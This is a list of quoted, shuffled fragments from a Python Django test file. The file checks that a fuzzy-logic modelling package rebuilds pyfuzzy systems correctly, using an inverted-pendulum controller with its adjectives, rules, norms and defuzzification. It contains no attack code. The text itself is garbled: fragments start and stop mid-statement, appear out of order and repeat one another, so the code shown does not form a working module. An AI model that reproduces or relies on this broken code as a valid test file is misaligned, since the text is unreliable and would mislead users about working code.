"operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) new_pyfuzzy_system.rules['far right'] = far_right self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {}",
"new_adj = var.adjectives[adj_name] self._test_adj(adj, new_adj) #: is input if hasattr(var, 'fuzzify'): self._test_fuzzify(var.fuzzify, new_var.fuzzify)",
"fuzzify, new_fuzzify): \" test only a given fuzzify \" self.assertIsInstance(new_fuzzify, fuzzify.__class__) def _test_defuzzify(self,",
"and a get_pyfuzzy that returns this name \"\"\" var = mock.Mock() var.name =",
"def test_system_from_pyfuzzy_changing_a_single_rule_from_model(self): \"test if work changing a single rule, but from model\" from",
"lambda : self.output_variable_mock self.set_pre_mock(SystemModel,'outputvariablemodel_set') SystemModel.outputvariablemodel_set = outputvariablemodel_set # mocking rulemodel_set rulemodel_set = mock.Mock()",
"inp = operator.inputs[i_inputs] new_inp = new_operator.inputs[i_inputs] self._test_operator(inp, new_inp) elif operator.__class__.__name__ == 'Const': self.assertEquals(new_operator.value,",
"= a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop'] = a_stop = Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow'] = a_right_slow =",
"0.)]), COM=COM) a_stop.name = 'stop' new_a_stop = AdjectiveModel.from_pyfuzzy(a_stop).get_pyfuzzy() new_pyfuzzy_system.variables['a'].adjectives['stop'] = new_a_stop self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected)",
"= AlgebraicProduct() COG = COG(INF=INF,ACC=ACC,failsafe = 0., segment_size=0.5) from fuzzy.InputVariable import InputVariable from",
"output else: self._test_defuzzify(var.defuzzify, new_var.defuzzify) # import pdb; pdb.set_trace() var_value = var.getValue() new_var_value =",
"mock from django.test import TestCase from fuzzy_modeling.tests.utils import ResetMock from fuzzy_modeling.models.systems import SystemModel",
"hasattr(var, 'fuzzify'): self._test_fuzzify(var.fuzzify, new_var.fuzzify) #: output else: self._test_defuzzify(var.defuzzify, new_var.defuzzify) # import pdb; pdb.set_trace()",
"RuleModel from fuzzy.Rule import Rule from fuzzy.operator.Input import Input from fuzzy.norm.AlgebraicProduct import AlgebraicProduct",
"operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), ) ), CER=CER ) return system",
"new_pyfuzzy_system.defuzzify(output_dict2) for var_name, var in pyfuzzy_system_expected.variables.items(): new_var = new_pyfuzzy_system.variables[var_name] self.assertIsInstance(new_var, var.__class__) self.assertEquals(new_var.description, var.description)",
"} output_dict2 = { 'a' : 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1)",
"and changing the corresponding rule \" from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum import",
"new_var_value = new_var.getValue() # if var_value != new_var_value: self.assertEquals(new_var_value, var_value) for rule_name, rule",
"a __init__ function # (never overrided the object.__init__) except TypeError: pass for param_name",
"def _test_rule(self, rule, new_rule): \"test only a given rule\" self.assertIsInstance(new_rule, rule.__class__) self.assertEquals(rule.certainty, new_rule.certainty)",
"getattr(new_set, param_name) self.assertEquals(new_arg, arg) cog = None new_cog = None try: cog =",
"= self._createSystem() new_pyfuzzy_system = self._createSystem() a_right_fast = new_pyfuzzy_system.variables[\"a\"].adjectives[\"right_fast\"] far_right = Rule( adjective=a_right_fast, #",
"defuzzification method and default norms INF = AlgebraicProduct() ACC = AlgebraicSum() COM =",
"self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {} input_dict[\"X\"] = 0.0 #: position [m] input_dict[\"dX_dT\"]",
"the correct corresponding Model for the pyfuzzy object with another input\" pyfuzzy_system_expected =",
"= Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) from fuzzy.Rule import Rule from fuzzy.norm.Max import Max #from fuzzy.norm.Min import",
"AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]) ) ), CER=CER ) system.rules['tilts right'] = Rule( adjective=a_right_slow, #",
"self.set_pre_mock(SystemModel,'inputvariablemodel_set') SystemModel.inputvariablemodel_set = inputvariablemodel_set # mocking outputvariablemodel_set outputvariablemodel_set = mock.Mock() outputvariablemodel_set.all = lambda",
"= new_pyfuzzy_system.variables[var_name] self.assertIsInstance(new_var, var.__class__) self.assertEquals(new_var.description, var.description) self.assertEquals(new_var.min, var.min) self.assertEquals(new_var.max, var.max) self.assertEquals(new_var.unit, var.unit) for",
"'a' new_acceleration = OutputVariableModel.from_pyfuzzy(acceleration).get_pyfuzzy() new_pyfuzzy_system.variables['a'] = acceleration import math input_dict = {} input_dict[\"X\"]",
"arg != 'self': params.append(arg) # will raise this exception when the given type",
"here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_left\"]), CER=CER ) system.rules['accelerate cw if down'] = Rule( adjective=a_right_slow, # it",
"for param_name in params: arg = getattr(defuzzify, param_name) new_arg = getattr(new_defuzzify, param_name) self.assertEquals(new_arg,",
"angle.adjectives['down_more_left'] = Adjective(Polygon([(180.,0.),(210.,1.),(240.,0.)])) angle.adjectives['down_left'] = Adjective(Polygon([(210.,0.),(240.,1.),(270.,0.)])) angle.adjectives['down'] = Adjective(Polygon([(240.,0.),(270.,1.),(300.,0.)])) angle.adjectives['down_right'] = Adjective(Polygon([(270.,0.),(300.,1.),(330.,0.)])) angle.adjectives['down_more_right']",
"Input(system.variables[\"Phi\"].adjectives[\"up\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"stop\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]) )",
"pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_sets_only(self):",
"import AdjectiveModel pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() from fuzzy.norm.AlgebraicSum import AlgebraicSum",
"= Adjective(Polygon([(-10.,1.),(-5.,0.)])) velocity.adjectives['left_slow'] = Adjective(Polygon([(-10.,0.),(-2.,1.),(0.,0.)])) velocity.adjectives['stop'] = Adjective(Polygon([(-2.,0.),(0.,1.),(2.,0.)])) velocity.adjectives['right_slow'] = Adjective(Polygon([(0.,0.),(2.,1.),(10.,0.)])) velocity.adjectives['right_fast'] =",
"test_rule_has_same_adjs_as_output_only(self): \" check if a rule has the same adjectives as the output\"",
"output_dict2['a']) def test_system_from_pyfuzzy_changing_a_single_rule_from_model(self): \"test if work changing a single rule, but from model\"",
"COM = AlgebraicSum() COG = COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast']",
"pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_set_and_rule(self): \"",
"fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon COM = AlgebraicSum() a_stop = Adjective(Polygon([(-10.,",
"adjective=a_left_slow, # it gets its value from here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(),",
"per second^2') system.variables['a'] = acceleration acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow",
"from here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"right_near\"]), Input(system.variables[\"X\"].adjectives[\"right_far\"]) ), Compound(",
"self.system_description = \"System description\" self.system = SystemModel(description=self.system_description) self.input_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"iv%d\" % i)",
"Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.rules['far right'].adjective = a_right_fast import math input_dict = {} input_dict[\"X\"] = 0.0",
"if a rule has the same adjectives as the output\" pyfuzzy_system_expected = self._createSystem()",
"# import pdb; pdb.set_trace() var_value = var.getValue() new_var_value = new_var.getValue() # if var_value",
"self.output_variable_mock } pyfuzzy_system_expected.variables = variable_dict rules_dict = { rule.name : rule.get_pyfuzzy() for rule",
"new_defuzzify._ACC) def _test_rule(self, rule, new_rule): \"test only a given rule\" self.assertIsInstance(new_rule, rule.__class__) self.assertEquals(rule.certainty,",
"AlgebraicSum() COM = AlgebraicSum() COG = COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = OutputVariable(",
"from fuzzy_modeling.models import RuleModel from fuzzy.Rule import Rule from fuzzy.operator.Input import Input from",
"def _test_rules_adj_in_out_adjs(self, system): \"test if all the rules's adj are the same instance",
"set.__class__) params = [] try: for arg in inspect.getargspec(set.__init__).args: if arg != 'self':",
"mocking inputvariablemodel_set # inputvariablemodel_set = lambda : None inputvariablemodel_set = mock.Mock() inputvariablemodel_set.all =",
"None try: cog = set.getCOG() except Exception, e: # self.assertRaises(Exception, new_set.getCOG) self.assertRaisesMessage(Exception, e.message,",
"set, new_set): \" test only a given set \" self.assertIsInstance(new_set, set.__class__) params =",
"all the rules's adj are the same instance of an output adj\" outputs_adjs",
"here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), ) ), CER=CER ) return",
"the pyfuzzy object \" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def",
"AlgebraicProduct from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import COG",
"= SystemModel.from_pyfuzzy(self._createSystem()) output_a = new_pyfuzzy_system.variables[\"a\"] output_a.name = 'a' a_right_fast = output_a.adjectives[\"right_fast\"] a_right_fast.name =",
"# -*- coding: utf-8 -*- import inspect import mock from django.test import TestCase",
"Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) acceleration.name = 'a' new_acceleration = OutputVariableModel.from_pyfuzzy(acceleration).get_pyfuzzy() new_pyfuzzy_system.variables['a']",
"operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) far_right.name = 'far right' rule_model = RuleModel.from_pyfuzzy(far_right, new_pyfuzzy_system, system_model) new_rule",
"of an output adj\" outputs_adjs = [] for var_name, var in system.variables.items(): #:",
"in system.variables.items(): #: is output if not hasattr(var, 'fuzzify'): for adj_name, adj in",
": self.input_variable_mock self.set_pre_mock(SystemModel,'inputvariablemodel_set') SystemModel.inputvariablemodel_set = inputvariablemodel_set # mocking outputvariablemodel_set outputvariablemodel_set = mock.Mock() outputvariablemodel_set.all",
"op_call = operator() new_op_call = new_operator() self.assertEquals( op_call, new_op_call, msg=\"%s != %s in",
"0.), (0., 1.), (10., 0.)]), COM=COM) a_stop.name = 'stop' new_a_stop = AdjectiveModel.from_pyfuzzy(a_stop).get_pyfuzzy() new_pyfuzzy_system.variables['a'].adjectives['stop']",
"'Compound': self._test_norm(operator.norm, new_operator.norm) for i_inputs in xrange(0, len(operator.inputs)): inp = operator.inputs[i_inputs] new_inp =",
"Input(system.variables[\"X\"].adjectives[\"right_far\"]) ), Compound( DombiUnion(0.25), Input(system.variables[\"dX_dT\"].adjectives[\"right_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"right_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]) ), CER=CER )",
"new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_set_and_rule(self): \" should",
"segment_size=0.5) from fuzzy.InputVariable import InputVariable from fuzzy.OutputVariable import OutputVariable from fuzzy.Adjective import Adjective",
"= {} input_dict[\"X\"] = 0.0 #: position [m] input_dict[\"dX_dT\"] = 0.0 #: velocity",
"0.0 #: position [m] input_dict[\"dX_dT\"] = 0.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(45.0)",
"fuzzy.System import System class SystemModelTest(TestCase, ResetMock): def setUp(self): # self.aluno = mommy.make_one(Aluno) #",
"from fuzzy.operator.Input import Input from fuzzy.operator.Not import Not system.rules['stop'] = Rule( adjective=a_stop, #",
"= operator.inputs[i_inputs] new_inp = new_operator.inputs[i_inputs] self._test_operator(inp, new_inp) elif operator.__class__.__name__ == 'Const': self.assertEquals(new_operator.value, operator.value)",
"well as at the position X=0. It also is used to demonstrate some",
"from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), ) ), CER=CER )",
"new_pyfuzzy_system.variables) self.assertDictEqual(pyfuzzy_system_expected.rules, new_pyfuzzy_system.rules) @classmethod def _createSystem(cls): import fuzzy.System system = fuzzy.System.System(description= \"\"\"This fuzzy",
": 0.0 #: acceleration [m/s²] } output_dict2 = { 'a' : 0.0 #:",
"variable or to be an object that has attr name and a get_pyfuzzy",
"angle_velocity angle_velocity.adjectives['cw_fast'] = Adjective(Polygon([(-600.,1.),(-300.,0.)])) angle_velocity.adjectives['cw_slow'] = Adjective(Polygon([(-600.,0.),(-300.,1.),(0.,0.)])) angle_velocity.adjectives['stop'] = Adjective(Polygon([(-300.,0.),(0.,1.),(300.,0.)])) angle_velocity.adjectives['ccw_slow'] = Adjective(Polygon([(0.,0.),(300.,1.),(600.,0.)]))",
"acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2)",
"new_operator.norm) for i_inputs in xrange(0, len(operator.inputs)): inp = operator.inputs[i_inputs] new_inp = new_operator.inputs[i_inputs] self._test_operator(inp,",
"Adjective(Polygon([(5.,0.),(10.,1.)])) acceleration = OutputVariable(defuzzify=COG,description='acceleration',min=-50.,max=50.,unit='meter per second^2') system.variables['a'] = acceleration acceleration.adjectives['left_fast'] = a_left_fast =",
"control the inverted pendulum into an upright position as well as at the",
"angle.adjectives['down_more_right'] = Adjective(Polygon([(300.,0.),(330.,1.),(360.,0.)])) angle_velocity = InputVariable(fuzzify=Plain(),description='angle velocity',min=-600.,max=600.,unit='degrees per second') system.variables['dPhi_dT'] = angle_velocity angle_velocity.adjectives['cw_fast']",
"Adjective(Polygon([(240.,0.),(270.,1.),(300.,0.)])) angle.adjectives['down_right'] = Adjective(Polygon([(270.,0.),(300.,1.),(330.,0.)])) angle.adjectives['down_more_right'] = Adjective(Polygon([(300.,0.),(330.,1.),(360.,0.)])) angle_velocity = InputVariable(fuzzify=Plain(),description='angle velocity',min=-600.,max=600.,unit='degrees per second')",
"acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop'] = a_stop",
"new_norm): \" test only a given norm \" self.assertIsInstance(new_norm, norm.__class__) params = []",
"output if not hasattr(var, 'fuzzify'): for adj_name, adj in var.adjectives.items(): outputs_adjs.append(adj) for rule_name,",
"a_stop.name = 'stop' new_a_stop = AdjectiveModel.from_pyfuzzy(a_stop).get_pyfuzzy() new_pyfuzzy_system.variables['a'].adjectives['stop'] = new_a_stop self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def test_output_variable_only(self):",
"param_name in params: arg = getattr(norm, param_name) new_arg = getattr(new_norm, param_name) self.assertEquals(new_arg, arg)",
"model\" from fuzzy_modeling.models import RuleModel from fuzzy.Rule import Rule from fuzzy.operator.Input import Input",
"reset_mock(SystemModel,'inputvariablemodel_set') # reset_mock(SystemModel,'outputvariablemodel_set') # reset_mock(SystemModel,'rulemodel_set') pass def tearDown(self): \"\"\"And kill it when done\"\"\"",
"return the correct corresponding Model for the pyfuzzy object with another input\" pyfuzzy_system_expected",
"pdb.set_trace() self.assertEquals( membership, new_membership, msg=\"%s != %s in %s\" % (membership, new_membership, adj)",
"Adjective(Polygon([(210.,0.),(240.,1.),(270.,0.)])) angle.adjectives['down'] = Adjective(Polygon([(240.,0.),(270.,1.),(300.,0.)])) angle.adjectives['down_right'] = Adjective(Polygon([(270.,0.),(300.,1.),(330.,0.)])) angle.adjectives['down_more_right'] = Adjective(Polygon([(300.,0.),(330.,1.),(360.,0.)])) angle_velocity = InputVariable(fuzzify=Plain(),description='angle",
"fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import COG pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem()",
"pdb.set_trace() var_value = var.getValue() new_var_value = new_var.getValue() # if var_value != new_var_value: self.assertEquals(new_var_value,",
"fuzzy.OutputVariable import OutputVariable pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() INF = AlgebraicProduct() ACC",
"fuzzy.operator.Compound import Compound from fuzzy.operator.Input import Input from fuzzy.operator.Not import Not system.rules['stop'] =",
"input_dict[\"dX_dT\"] = 500.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(270.0) #: angle [rad] input_dict[\"dPhi_dT\"]",
"def test_output_variable_changing_one_set_and_rule(self): \" should return the correct output when changing all the sets",
"new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.variables['a'] = acceleration import math input_dict =",
"name): \"\"\" mock a variable or to be an object that has attr",
"the correct outout when only changing the set to a SetModel in th",
"correct output when changing all the sets to the new instance of same",
"input\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() import math input_dict = {} input_dict[\"X\"]",
"test only a given adjective \" self.assertIsInstance(new_adj, adj.__class__) self._test_set(adj.set, new_adj.set) if adj.COM is",
"changing all the sets to the new instance of same value, and changing",
"operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_left\"]), CER=CER ) system.rules['accelerate cw if down'] = Rule( adjective=a_right_slow, # it gets",
"import System class SystemModelTest(TestCase, ResetMock): def setUp(self): # self.aluno = mommy.make_one(Aluno) # from",
"#: acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) for var_name, var",
"angle [rad] input_dict[\"dPhi_dT\"] = math.radians(0.0) #: angle velocity [rad/s] i_dict1 = input_dict.copy() i_dict2",
"pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() system_model = SystemModel.from_pyfuzzy(self._createSystem()) output_a = new_pyfuzzy_system.variables[\"a\"] output_a.name",
"rules's adj are the same instance of an output adj\" outputs_adjs = []",
"TypeError: pass for param_name in params: arg = getattr(norm, param_name) new_arg = getattr(new_norm,",
"= Adjective(Polygon([(270.,0.),(300.,1.),(330.,0.)])) angle.adjectives['down_more_right'] = Adjective(Polygon([(300.,0.),(330.,1.),(360.,0.)])) angle_velocity = InputVariable(fuzzify=Plain(),description='angle velocity',min=-600.,max=600.,unit='degrees per second') system.variables['dPhi_dT'] =",
"will raise this exception when the given type don't implement a __init__ function",
"and arg != 'ACC': params.append(arg) # will raise this exception when the given",
") far_right.name = 'far right' rule_model = RuleModel.from_pyfuzzy(far_right, new_pyfuzzy_system, system_model) new_rule = rule_model.get_pyfuzzy(new_pyfuzzy_system)",
"Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), ) ), CER=CER ) system.rules['accelerate ccw if down'] =",
"max=50., unit='meter per second^2') acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow =",
"th System \" from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct",
"Rule( adjective=a_right_slow, # it gets its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound(",
"import pdb; pdb.set_trace() # reset_mock(SystemModel,'inputvariablemodel_set') # reset_mock(SystemModel,'outputvariablemodel_set') # reset_mock(SystemModel,'rulemodel_set') pass def tearDown(self): \"\"\"And",
"AlgebraicProduct CER = AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() system_model = SystemModel.from_pyfuzzy(self._createSystem())",
"i in xrange(1,2) ] self.rules_mock = [ self._named_and_pyfuzzymixin_mock(\"r%d\" % i) for i in",
"its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_left\"]), CER=CER ) system.rules['accelerate cw if down'] = Rule(",
"velocity velocity.adjectives['left_fast'] = Adjective(Polygon([(-10.,1.),(-5.,0.)])) velocity.adjectives['left_slow'] = Adjective(Polygon([(-10.,0.),(-2.,1.),(0.,0.)])) velocity.adjectives['stop'] = Adjective(Polygon([(-2.,0.),(0.,1.),(2.,0.)])) velocity.adjectives['right_slow'] = Adjective(Polygon([(0.,0.),(2.,1.),(10.,0.)]))",
"import DrasticSum from fuzzy.norm.EinsteinSum import EinsteinSum from fuzzy.norm.DombiUnion import DombiUnion from fuzzy.operator.Compound import",
"params.append(arg) # will raise this exception when the given type don't implement a",
"System class SystemModelTest(TestCase, ResetMock): def setUp(self): # self.aluno = mommy.make_one(Aluno) # from fuzzy_modeling.models.systems",
"acceleration = OutputVariable( defuzzify=COG, description='acceleration', min=-50., max=50., unit='meter per second^2') acceleration.adjectives['left_fast'] = a_left_fast",
"system.variables['Phi'] = angle angle.adjectives['up_more_right'] = Adjective(Polygon([(0.,0.),(30.,1.),(60.,0.)])) angle.adjectives['up_right'] = Adjective(Polygon([(30.,0.),(60.,1.),(90.,0.)])) angle.adjectives['up'] = Adjective(Polygon([(60.,0.),(90.,1.),(120.,0.)])) angle.adjectives['up_left']",
"try: for arg in inspect.getargspec(norm.__init__).args: if arg != 'self': params.append(arg) # will raise",
"def test_system_from_pyfuzzy_with_other_input(self): \" shoud return the correct corresponding Model for the pyfuzzy object",
"adjective=a_right_fast, # it gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) far_right.name =",
"self.assertEquals( membership, new_membership, msg=\"%s != %s in %s\" % (membership, new_membership, adj) )",
"it uses different fuzzy norm in normally symmetrical rules.\"\"\") from fuzzy.norm.AlgebraicProduct import AlgebraicProduct",
"given set \" self.assertIsInstance(new_set, set.__class__) params = [] try: for arg in inspect.getargspec(set.__init__).args:",
"new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) for var_name, var in pyfuzzy_system_expected.variables.items(): new_var = new_pyfuzzy_system.variables[var_name] self.assertIsInstance(new_var, var.__class__) self.assertEquals(new_var.description,",
"'self': params.append(arg) # will raise this exception when the given type don't implement",
"is input if hasattr(var, 'fuzzify'): self._test_fuzzify(var.fuzzify, new_var.fuzzify) #: output else: self._test_defuzzify(var.defuzzify, new_var.defuzzify) #",
"rule.get_pyfuzzy() for rule in self.rules_mock } pyfuzzy_system_expected.rules = rules_dict self.assertEquals(pyfuzzy_system_expected.description, new_pyfuzzy_system.description) self.assertDictEqual(pyfuzzy_system_expected.variables, new_pyfuzzy_system.variables)",
"= a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.variables['a'] = acceleration import math input_dict = {} input_dict[\"X\"]",
"= new_pyfuzzy_system.variables[\"a\"] output_a.name = 'a' a_right_fast = output_a.adjectives[\"right_fast\"] a_right_fast.name = 'right_fast' far_right =",
"System(self.system_description) variable_dict = { var.name : var.get_pyfuzzy() for var in self.input_variable_mock + self.output_variable_mock",
"new_pyfuzzy_system.variables['a'].adjectives['stop'] = new_a_stop self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def test_output_variable_only(self): \" should return the correct outout",
"%s in %s\" % (op_call, new_op_call, operator) ) def test_set_only(self): \" should return",
"new_a_stop = AdjectiveModel.from_pyfuzzy(a_stop).get_pyfuzzy() new_pyfuzzy_system.variables['a'].adjectives['stop'] = new_a_stop self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def test_output_variable_only(self): \" should return",
"from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon COM = AlgebraicSum() a_stop =",
"output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_with_other_input(self): \" shoud return the correct corresponding Model for",
"params = [] try: for arg in inspect.getargspec(defuzzify.__init__).args: if arg != 'self' and",
"= acceleration acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop']",
"Rule( adjective=a_right_slow, # it gets its value from here operator=Compound( AlgebraicProduct(), Not( Compound(",
"} pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_with_other_input(self): \" shoud return the",
"params = [] try: for arg in inspect.getargspec(set.__init__).args: if arg != 'self': params.append(arg)",
"import EinsteinSum from fuzzy.norm.DombiUnion import DombiUnion from fuzzy.operator.Compound import Compound from fuzzy.operator.Input import",
"self.reset_all_pre_mocks(SystemModel) def _named_and_pyfuzzymixin_mock(self, name): \"\"\" mock a variable or to be an object",
"in var.adjectives.items(): new_adj = var.adjectives[adj_name] self._test_adj(adj, new_adj) #: is input if hasattr(var, 'fuzzify'):",
"(membership, new_membership, adj) ) def _test_set(self, set, new_set): \" test only a given",
"\"System description\" self.system = SystemModel(description=self.system_description) self.input_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"iv%d\" % i) for i",
"from fuzzy.operator.Compound import Compound from fuzzy.operator.Input import Input from fuzzy.operator.Not import Not system.rules['stop']",
"), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]) ), CER=CER ) system.rules['tilts left'] = Rule( adjective=a_left_slow, # it gets",
"new_arg = getattr(new_set, param_name) self.assertEquals(new_arg, arg) cog = None new_cog = None try:",
"= Rule( adjective=a_stop, # it gets its value from here operator=Compound( Max(), Compound(",
"don't implement a __init__ function # (never overrided the object.__init__) except TypeError: pass",
"== 'Not': self._test_operator(operator.input, new_operator.input) op_call = operator() new_op_call = new_operator() self.assertEquals( op_call, new_op_call,",
"if var_value != new_var_value: self.assertEquals(new_var_value, var_value) for rule_name, rule in pyfuzzy_system_expected.rules.items(): new_rule =",
"when only changing the outputvar to a OutputVariableModel in th System \" from",
"_named_and_pyfuzzymixin_mock(self, name): \"\"\" mock a variable or to be an object that has",
"var.description) self.assertEquals(new_var.min, var.min) self.assertEquals(new_var.max, var.max) self.assertEquals(new_var.unit, var.unit) for adj_name, adj in var.adjectives.items(): new_adj",
"new_adj.set) if adj.COM is not None and new_adj.COM is not None: self._test_norm(adj.COM, new_adj.COM)",
"\"test only a given rule\" self.assertIsInstance(new_rule, rule.__class__) self.assertEquals(rule.certainty, new_rule.certainty) self._test_adj(rule.adjective, new_rule.adjective) self._test_norm(rule.CER, new_rule.CER)",
